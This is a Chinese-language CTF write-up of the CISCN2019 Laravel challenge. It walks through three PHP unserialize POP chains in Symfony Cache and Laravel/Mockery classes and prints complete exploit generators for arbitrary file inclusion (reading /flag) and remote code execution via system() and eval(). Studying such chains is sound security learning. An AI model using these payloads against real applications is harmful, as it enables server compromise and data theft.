亲自从头到尾跟了一下涉及到的三个链子,稍微拯救了一点点点点我稀烂的代码审计能力
参考链接放在文末
链子1 - 文件包含/任意文件读取
搜索__desturct()
找入手点, vendor/symfony/symfony/src/Symfony/Component/Cache/Adapter/TagAwareAdapter.php
它调用了commit()
和invalidateTags()
调用pool的saveDeferred()
方法,我们在这个类相同命名空间(Symfony\Component\Cache\Adapter)下找有没有别的类也实现了这个方法,另外开始的那个pool是在Adapter接口下,所以要找一个AdapterInterface接口并且存在saveDeferred()
的类
找到这里vendor/symfony/symfony/src/Symfony/Component/Cache/Adapter/PhpArrayAdapter.php
它又调用了initialize(),跟进 vendor/symfony/symfony/src/Symfony/Component/Cache/Traits/PhpArrayTrait.php
是我们的文件包含点了,可以从这里读flag
接下来就是构造exp了,要注意命名空间和接口
前两个类都是Symfony\Component\Cache\Adapter命名空间下的,但是CacheItem是Symfony\Component\Cache下的,所以要再引入它,use
<?php
namespace Symfony\Component\Cache{
final class CacheItem{
}
}
namespace Symfony\Component\Cache\Adapter{
use Symfony\Component\Cache\CacheItem;
class PhpArrayAdapter{
private $file='/flag';
}
class TagAwareAdapter{
private $deferred;
private $pool;
public function __construct(){
$this->deferred = array('amiz' => new CacheItem());
$this->pool = new PhpArrayAdapter();
}
}
$a = new TagAwareAdapter();
echo urlencode(serialize($a));
}
链子2 - rce
回到前面在相同命名空间下找saveDeferred()
的地方,还有另一个类也有同样的方法 vendor/symfony/symfony/src/Symfony/Component/Cache/Adapter/ProxyAdapter.php
跟进doSave()
223行可以动态调用函数,setInnerItem
可控 我们可以调用system()
,接下来确认它调用的两个参数可不可控
对于$item
,是调用函数doSave()
函数时传入的参数,也就是saveDeferred()
时的参数,也就是我们传入的数组,可控
对于$innerItem
有这样一个if判断
光看这个判断肥肠的突兀,还要结合207行的$item = (array) $item;
,它将一个类强行转换成数组,而后面跟着的这个if判断就是为了解决类中原有的 protected的属性冲突,所以需要在相同的命名空间里接着找一个类,包含pollHash
和innerItem
属性,最终还是找到了CacheItem(前面也是它
构造exp
<?php
namespace Symfony\Component\Cache{
final class CacheItem
{
protected $expiry;
protected $poolHash;
protected $innerItem;
public function __construct($expiry, $poolHash, $command)
{
$this->expiry = $expiry;
$this->poolHash = $poolHash;
$this->innerItem = $command;
}
}
}
namespace Symfony\Component\Cache\Adapter{
class ProxyAdapter
{
private $poolHash;
private $setInnerItem;
public function __construct($poolHash, $func)
{
$this->poolHash = $poolHash;
$this->setInnerItem = $func;
}
}
class TagAwareAdapter
{
private $deferred = [];
private $pool;
public function __construct($deferred, $pool)
{
$this->deferred = $deferred;
$this->pool = $pool;
}
}
}
namespace {
$cacheitem = new Symfony\Component\Cache\CacheItem(1,1,"dir");
$proxyadapter = new Symfony\Component\Cache\Adapter\ProxyAdapter(1,'system');
$tagawareadapter = new Symfony\Component\Cache\Adapter\TagAwareAdapter(array($cacheitem),$proxyadapter);
echo urlencode(serialize($tagawareadapter));
}
本地尝试一下(懒得再开靶机了w
成功了捏
链子3 - rce
在 [CISCN2019 总决赛 Day1 Web4]Laravel1这道题里赵师傅把这条路堵死了,但是本地复现无所谓啦
把这个注释取消即可
看到它调用了events
的dispatch
方法,跟上面思路一样,接着找一个可用的别的类里的dispatch
,比如vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php
看一下第一个判断的返回时调用的dispatchNow()
是什么
150行有亮点啊,使用了call_user_func
,第一个参数可控,第二个参数来自$command
,也就是最开始找的析构函数调用的$this->event
;现在要找一个类 可以执行任意函数作为第一个参数,然后我们的rce命令作为第二个参数传入,完成整个链子
不过先不急,首先要满足dispatch()
中的if判断$this->queueResolver && $this->commandShouldBeQueued($command)
,前一个可控,看看后面这个
需要$command
必须是一个实现了ShouldQueue
接口的类,找到这个 vendor/laravel/framework/src/Illuminate/Foundation/Console/QueuedCommand.php
然后接着找适合做call_user_func()
第一个参数的类,它需要可以执行任意函数 vendor/mockery/mockery/library/Mockery/Loader/EvalLoader.php
这个load()
可以直接调用eval执行代码,但是$defination
要满足if的判断,跟进
需要额外再找两个类,第一个类具有code
属性,第二类又getName
函数,来作为第一个类的config属性
可用的第一个类就是getClassName()
所在的类 vendor/mockery/mockery/library/Mockery/Generator/MockDefinition.php
第二个是 vendor/nikic/php-parser/lib/PhpParser/Node/Scalar/MagicConst/Line.php
总结以上的过程,写exp
<?php
namespace PhpParser\Node\Scalar\MagicConst{
class Line {}
}
namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code;
public function __construct($config, $code)
{
$this->config = $config;
$this->code = $code;
}
}
}
namespace Mockery\Loader{
class EvalLoader{}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Illuminate\Foundation\Console{
class QueuedCommand
{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace{
$line = new PhpParser\Node\Scalar\MagicConst\Line();
$mockdefinition = new Mockery\Generator\MockDefinition($line,'<?php phpinfo();?>');
$evalloader = new Mockery\Loader\EvalLoader();
$dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));
$queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);
$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);
echo urlencode(serialize($pendingbroadcast));
}
?>
执行效果(盖了一层laravel报错的底色哈哈哈哈哈哈哈
这个链子非常的长,涉及到6个类
pop链杀我!!!看代码有种目害的感觉了